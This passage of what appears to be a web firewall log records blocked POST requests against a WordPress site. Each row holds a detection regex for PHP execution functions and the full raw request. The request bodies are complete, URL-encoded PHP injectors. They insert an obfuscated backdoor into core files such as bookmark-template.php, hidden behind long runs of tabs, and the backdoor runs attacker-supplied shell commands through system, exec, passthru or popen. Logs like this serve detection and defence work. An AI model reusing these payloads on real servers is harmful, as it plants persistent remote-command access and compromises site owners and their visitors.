29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\ncontent-length:6531\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/date.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data1%2520%253D%2520%252779%2527%253B%2524data2%2520%253D%2520%252773%2527%253B%2524data3%2520%253D%2520%25276d%2527%253B%2524data4%2520%253D%2520%252768%2527%253B%2524data5%2520%253D%2520%25276c%2527%253B%2524data6%2520%253D%2520%25275f%2527%253B%2524data7%2520%253D%2520%252765%2527%253B%2524data8%2520%253D%2520%252778%2527%253B%2524data9%2520%253D%2520%252763%2527%253B%2524data10%2520%253D%2520%252772%2527%253B%2524data11%2520%253D%2520%252775%2527%253B%2524data12%2520%253D%2520%252770%2527%253B%2524data13%2520%253D%2520%252774%2527%253B%2524data14%2520%253D%2520%252767%2527%253B%2524data15%2520%253D%2520%25276e%2527%253B%2524data16%2520%253D%2520%25276f%2527%253B%2524data17%2520%253D%2520%252764%2527%253B%2524data18%2520%253D%2520%252776%2527%253B%2524unit_converter1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data1.%2524data2.%252774%2527.%252765%2527.%2524data3%2529%253B%2524unit_converter2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data2.%2524data4.%252765%2527.%2524data5.%25276c%2527.%2524data6.%2524data7.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252765%2527.%2524data8.%2524data7.%2524data9%2529%253B%2524unit_converter4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524data2.%2524data2.%252774%2527.%2524data4.%2524data10.%2524data11%2529%253B%2524unit_converter5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%25276f%2527.%2524data12.%252765%2527.%25276e%2527%2529%253B%2524unit_converter6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%2524data13.%2524data10.%2524data7.%252761%2527.%25276d%2527.%2524data6.%2524data14.%2524data7.%2524data13.%25275f%2527.%2524data9.%25276f%2527.%25276e%2527.%252774%2527.%2524data7.%2524data15.%252774%2527.%2524data2%2529%253B%2524unit_converter7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data12.%2524data9.%25276c%2527.%2524data16.%2524data2.%252765%2527%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524data17.%252765%2527.%2524data12.%2524data7.%25276e%2527.%252764%2527.%252765%2527.%2524data15.%252763%2527.%2524data1.%2524data6.%252772%2527.%2524data7.%2524data2.%25276f%2527.%2524data5.%2524data18.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524unit_converter1%2529%2529%257B%2524unit_converter1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter2%2529%2529%257Bprint%2520%2524unit_converter2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter3%2529%2529%257B%2524unit_converter3%2528%2524dependency_resolver%252C%2524factor_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_component%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter4%2529%2529%257B%2524unit_converter4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524unit_converter5%2529%2526%2526function_exists%2528%2524unit_converter6%2529%2526%2526function_exists%2528%2524unit_converter7%2529%2529%257B%2524pointer_binding%253D%2524unit_converter5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524pointer_binding%2529%257B%2524symbol_dat%253D%2524unit_converter6%2528%2524pointer_binding%2529%253B%2524unit_converter7%2528%2524pointer_binding%2529%253Bprint%2520%2524symbol_dat%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:43:17","190.92.169.79","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-length:5255\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\n\nGX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:43:22","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:5255\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nRp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/bookmark-template.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522str%255Cx65am_ge%255Cx74_cont%255Cx65%255Cx6Ets%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524restore_state3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73he%255Cx6Cl_%255Cx65xe%255Cx63%2522%253B%2520%2524event_handler%2520%253D%2520%2522h%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524restore_state1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520%2524restore_state4%2520%253D%2520%2522%255Cx70%255Cx61sst%255Cx68%255Cx72u%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524key%2520%252C%2520%2524data%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524key%2529%2520as%2520%2524char%2529%257B%2524record.%253Dchr%2528ord%2528%2524char%2529%255E%2524data%2529%253B%257D%2520return%2520%2524record%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524event_handler%2528%2524_POST%255B%2522d%255Cx61t%255Cx61%255Cx5F%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520request_approved%2528%2524data_chunk%252C%252093%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data_chunk%252C%2520%2524pointer_key%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524pointer_key%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524data_record%2520%253D%2520%2524restore_state5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524data_record%2529%2520%257B%2520%2524bind_factor%2520%253D%2520%2524restore_state6%2528%2524data_record%2529%253B%2520%2524restore_state7%2528%2524data_record%2529%253B%2520print%2520%2524bind_factor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
